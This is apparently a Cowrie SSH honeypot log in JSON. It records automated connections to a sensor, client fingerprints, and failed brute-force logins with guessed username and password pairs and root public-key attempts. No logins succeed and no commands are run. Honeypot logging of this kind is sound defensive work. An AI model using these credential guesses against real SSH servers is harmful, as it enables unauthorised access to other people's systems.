{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"65:47:93:a0:d2:e7:97:a5:f0:37:88:12:fc:64:3c:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA16bGVIlES1AvdKCcx2JHVPMi7bigmNBmbSTja4KhTkhpL8gDqAgnpFLxwNNqF1wa8YuAPjLi8En7x4MoheA/ypjJ3tQFhX6vdsCBf4TWoYI13IWNt9DHE7KDumT3Cabv22Ho0XTNz+vD1W3QJDFQehCL4jnIQg5j7+UHDy6acN3DDKsjHh1Hb6XiP7MSCbvbFhs86V7EzY87ENHS/bRQHmDrk0AdWaxhSo7BjF7iLdUzfnNo1pr4XgiZLFDL0OIVLrZB8E1erIk8FdfpnFzUjyc/p6l4YhgqxxMBB0skkIsoZCTI0KwtLLMceCfYZ9tc/FdRwB+JUP9OoChRaaXIFw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 65:47:93:a0:d2:e7:97:a5:f0:37:88:12:fc:64:3c:3c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:56:45.044348Z","src_ip":"185.219.133.156","session":"6390d08ad71b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"65:47:93:a0:d2:e7:97:a5:f0:37:88:12:fc:64:3c:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA16bGVIlES1AvdKCcx2JHVPMi7bigmNBmbSTja4KhTkhpL8gDqAgnpFLxwNNqF1wa8YuAPjLi8En7x4MoheA/ypjJ3tQFhX6vdsCBf4TWoYI13IWNt9DHE7KDumT3Cabv22Ho0XTNz+vD1W3QJDFQehCL4jnIQg5j7+UHDy6acN3DDKsjHh1Hb6XiP7MSCbvbFhs86V7EzY87ENHS/bRQHmDrk0AdWaxhSo7BjF7iLdUzfnNo1pr4XgiZLFDL0OIVLrZB8E1erIk8FdfpnFzUjyc/p6l4YhgqxxMBB0skkIsoZCTI0KwtLLMceCfYZ9tc/FdRwB+JUP9OoChRaaXIFw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:56:45.048351Z","src_ip":"185.219.133.156","session":"6390d08ad71b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:56:45.177695Z","src_ip":"185.219.133.156","session":"6390d08ad71b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"13091978","message":"login attempt [user/13091978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:56:45.203275Z","src_ip":"2.57.121.25","session":"a18d40303da3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"130884","message":"login attempt [user/130884] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:56:46.310698Z","src_ip":"2.57.121.25","session":"a18d40303da3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"130685","message":"login attempt [user/130685] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:56:47.418792Z","src_ip":"2.57.121.25","session":"a18d40303da3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"13061980","message":"login attempt [user/13061980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:56:48.526518Z","src_ip":"2.57.121.25","session":"a18d40303da3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"13051996","message":"login attempt [user/13051996] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:56:49.633664Z","src_ip":"2.57.121.25","session":"a18d40303da3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.234.27","src_port":36670,"dst_ip":"159.203.135.109","dst_port":22,"session":"007f6f0b8902","protocol":"ssh","message":"New connection: 69.6.234.27:36670 (159.203.135.109:22) [session: 007f6f0b8902]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:56:50.083021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:56:50.089736Z","src_ip":"69.6.234.27","session":"007f6f0b8902","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:56:50.163046Z","src_ip":"69.6.234.27","session":"007f6f0b8902","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prakash","password":"prakash123","message":"login attempt [prakash/prakash123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:56:50.487571Z","src_ip":"69.6.234.27","session":"007f6f0b8902","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:56:50.739802Z","src_ip":"2.57.121.25","session":"a18d40303da3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:56:51.563512Z","src_ip":"69.6.234.27","session":"007f6f0b8902","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":46994,"dst_ip":"159.203.135.109","dst_port":22,"session":"906e7d9c5db0","protocol":"ssh","message":"New connection: 80.94.92.184:46994 (159.203.135.109:22) [session: 906e7d9c5db0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:57:04.728135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:57:04.804433Z","src_ip":"80.94.92.184","session":"906e7d9c5db0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:57:04.945217Z","src_ip":"80.94.92.184","session":"906e7d9c5db0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"solana","message":"login attempt [ubuntu/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:57:05.633226Z","src_ip":"80.94.92.184","session":"906e7d9c5db0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:57:06.956827Z","src_ip":"80.94.92.184","session":"906e7d9c5db0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":17454,"dst_ip":"10.17.0.5","dst_port":22,"session":"17cf44bf82a0","protocol":"ssh","message":"New connection: 38.93.206.2:17454 (10.17.0.5:22) [session: 17cf44bf82a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:57:14.802711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:57:14.807908Z","src_ip":"38.93.206.2","session":"17cf44bf82a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:57:14.859288Z","src_ip":"38.93.206.2","session":"17cf44bf82a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1a1a1","message":"login attempt [root/a1a1a1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:57:15.015501Z","src_ip":"38.93.206.2","session":"17cf44bf82a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:57:16.069990Z","src_ip":"38.93.206.2","session":"17cf44bf82a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.181.2.243","src_port":57186,"dst_ip":"10.17.0.5","dst_port":22,"session":"81d1e4e62099","protocol":"ssh","message":"New connection: 108.181.2.243:57186 (10.17.0.5:22) [session: 81d1e4e62099]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:57:32.207568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:57:32.212891Z","src_ip":"108.181.2.243","session":"81d1e4e62099","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:57:32.287891Z","src_ip":"108.181.2.243","session":"81d1e4e62099","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"15:7f:46:07:7d:f8:bb:9f:c3:4b:3b:8b:c4:a6:29:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCffMZo1oPz5Y4Gq6z3bzEIcuC+zivx7BRJH177eyoBNBGOISk/rUNmDhqYIjb62iZGoNNQXI8SWipyc1VNvLqZLOYo57wovQtQUr4Ak/QB/SxuIvKAjeUfLdR/d+rYFU9BEzAQ/VWtGe647CCpgE6CZUwduw4RwHKMLpAdWPV+JrfwQUAWDza2yWbYNBQ0tYEse4NmZsnm2VBYXH+3olpQ8XaUZdnhTCeksKpIZk+UJ6YfyElLsUte6Al8rokCI+dhC//qx1JbcB2HU9rT9eNJK4JIKr44f6N2rKLuqcQl9oMusTMJqjBaMUmuVPKQePNPjnUv+as82HwVPgBymvIL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 15:7f:46:07:7d:f8:bb:9f:c3:4b:3b:8b:c4:a6:29:97","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:57:32.638416Z","src_ip":"108.181.2.243","session":"81d1e4e62099","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"15:7f:46:07:7d:f8:bb:9f:c3:4b:3b:8b:c4:a6:29:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCffMZo1oPz5Y4Gq6z3bzEIcuC+zivx7BRJH177eyoBNBGOISk/rUNmDhqYIjb62iZGoNNQXI8SWipyc1VNvLqZLOYo57wovQtQUr4Ak/QB/SxuIvKAjeUfLdR/d+rYFU9BEzAQ/VWtGe647CCpgE6CZUwduw4RwHKMLpAdWPV+JrfwQUAWDza2yWbYNBQ0tYEse4NmZsnm2VBYXH+3olpQ8XaUZdnhTCeksKpIZk+UJ6YfyElLsUte6Al8rokCI+dhC//qx1JbcB2HU9rT9eNJK4JIKr44f6N2rKLuqcQl9oMusTMJqjBaMUmuVPKQePNPjnUv+as82HwVPgBymvIL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:57:32.642511Z","src_ip":"108.181.2.243","session":"81d1e4e62099","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"af:91:91:5a:93:16:39:9c:e9:38:32:64:61:48:bd:80","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICbWgCCP+MOp0J/6fYtHRfhC7d9x0Qk9SuF7vccAruEb","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint af:91:91:5a:93:16:39:9c:e9:38:32:64:61:48:bd:80","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:57:32.721298Z","src_ip":"108.181.2.243","session":"81d1e4e62099","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"af:91:91:5a:93:16:39:9c:e9:38:32:64:61:48:bd:80","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICbWgCCP+MOp0J/6fYtHRfhC7d9x0Qk9SuF7vccAruEb","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:57:32.725249Z","src_ip":"108.181.2.243","session":"81d1e4e62099","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"02:8d:40:b6:dc:0a:d3:03:dd:76:a9:4c:d7:f1:be:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChDFFspoWRPHZJODvKjr8tltDmDlFFmqcUwV2jm8jYXOifjNCIunlruP9Owar4twW3jFA6Kx1GhG45/VmscvMFy8GwVOTpKgcOuQphNtOab/hIidTirXwQ4fRPeyPFSrw7E5iJnIBGh6OePAV0k2Owjbe+QngWcBwLZ5G7iZzCGklrE7qHFj9Ilx6eYFqRO1+xarGkAdgzfjNZf067O232XUQ29+gU8dA2EgiWKizNM/mDOMdslu4qNKwZz3aORdvxMQU9LutpwE8VHJkDZwns9ry1bca8kTjaJzF7QH9psETdJo0kyr+mPgbmQhKMCOy5iP2WUmSe+PXyY65ok2hZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 02:8d:40:b6:dc:0a:d3:03:dd:76:a9:4c:d7:f1:be:dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:57:32.800248Z","src_ip":"108.181.2.243","session":"81d1e4e62099","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"02:8d:40:b6:dc:0a:d3:03:dd:76:a9:4c:d7:f1:be:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChDFFspoWRPHZJODvKjr8tltDmDlFFmqcUwV2jm8jYXOifjNCIunlruP9Owar4twW3jFA6Kx1GhG45/VmscvMFy8GwVOTpKgcOuQphNtOab/hIidTirXwQ4fRPeyPFSrw7E5iJnIBGh6OePAV0k2Owjbe+QngWcBwLZ5G7iZzCGklrE7qHFj9Ilx6eYFqRO1+xarGkAdgzfjNZf067O232XUQ29+gU8dA2EgiWKizNM/mDOMdslu4qNKwZz3aORdvxMQU9LutpwE8VHJkDZwns9ry1bca8kTjaJzF7QH9psETdJo0kyr+mPgbmQhKMCOy5iP2WUmSe+PXyY65ok2hZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:57:32.804395Z","src_ip":"108.181.2.243","session":"81d1e4e62099","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f9:8f:29:a5:fd:ca:2e:f6:c3:b1:e7:56:46:cf:10:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDKNKY1Usr3Om6pV0F29k+s1Jj5hgPMv21SWJhd9pxhnfuXwbCzjfaIsORJRnLGU+SvWkE/wgfQ/28kfbkWwzieKOkGdR8kWmdNBYqnmPrEak9FsBYQ3CxjEPpzfj2/aX/58XQXO3HsaNCDCFRhiR4IdGclFLvIDf7RQOtj/uMuviJcFCferhPMxqqETYsxJ61t2NKcx4fGwejGj9idbwJ+ppALfQiLu5PPNnSwoxpATliTRr5YYFfVjzLkQvkerptM0hn2mEc4uYaYgTOqYRZbDC7oyl1CNjm2e6lJ5g2n1YCcAH5n70HW2PZSFF0uvn9rLIMv/VGkmoYqBd39tvl66DkxdyYZBLrFlGf4gezWo6fHJDHGS0gy2NereNJ/ntPWm26fDkJ/jYcyqH9snqMhJH6Dk8SAjlhsEgTbPuhgUh/x09tKrJs6l1kIeKRrwhe1yVleXi/2gAZ0B8TzdXWTRNu1rhT1M+4cNL5lhhmiv5tRRwUMlMIFe1iwCfMzIWk=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f9:8f:29:a5:fd:ca:2e:f6:c3:b1:e7:56:46:cf:10:10","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:57:32.880648Z","src_ip":"108.181.2.243","session":"81d1e4e62099","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f9:8f:29:a5:fd:ca:2e:f6:c3:b1:e7:56:46:cf:10:10","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDKNKY1Usr3Om6pV0F29k+s1Jj5hgPMv21SWJhd9pxhnfuXwbCzjfaIsORJRnLGU+SvWkE/wgfQ/28kfbkWwzieKOkGdR8kWmdNBYqnmPrEak9FsBYQ3CxjEPpzfj2/aX/58XQXO3HsaNCDCFRhiR4IdGclFLvIDf7RQOtj/uMuviJcFCferhPMxqqETYsxJ61t2NKcx4fGwejGj9idbwJ+ppALfQiLu5PPNnSwoxpATliTRr5YYFfVjzLkQvkerptM0hn2mEc4uYaYgTOqYRZbDC7oyl1CNjm2e6lJ5g2n1YCcAH5n70HW2PZSFF0uvn9rLIMv/VGkmoYqBd39tvl66DkxdyYZBLrFlGf4gezWo6fHJDHGS0gy2NereNJ/ntPWm26fDkJ/jYcyqH9snqMhJH6Dk8SAjlhsEgTbPuhgUh/x09tKrJs6l1kIeKRrwhe1yVleXi/2gAZ0B8TzdXWTRNu1rhT1M+4cNL5lhhmiv5tRRwUMlMIFe1iwCfMzIWk=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:57:32.884805Z","src_ip":"108.181.2.243","session":"81d1e4e62099","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"62:80:52:1b:0b:9c:d3:1a:27:16:39:e1:f3:f8:ac:42","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAID84YosjjNJfKSeg06g0Xw6wfUzpyyr0hvi3T+Cr3qlE","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 62:80:52:1b:0b:9c:d3:1a:27:16:39:e1:f3:f8:ac:42","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:57:32.960517Z","src_ip":"108.181.2.243","session":"81d1e4e62099","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"62:80:52:1b:0b:9c:d3:1a:27:16:39:e1:f3:f8:ac:42","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAID84YosjjNJfKSeg06g0Xw6wfUzpyyr0hvi3T+Cr3qlE","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:57:32.964348Z","src_ip":"108.181.2.243","session":"81d1e4e62099","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:57:33.041707Z","src_ip":"108.181.2.243","session":"81d1e4e62099","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":54254,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5f90094560a","protocol":"ssh","message":"New connection: 103.149.28.157:54254 (159.203.135.109:22) [session: f5f90094560a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:57:38.089561Z"}
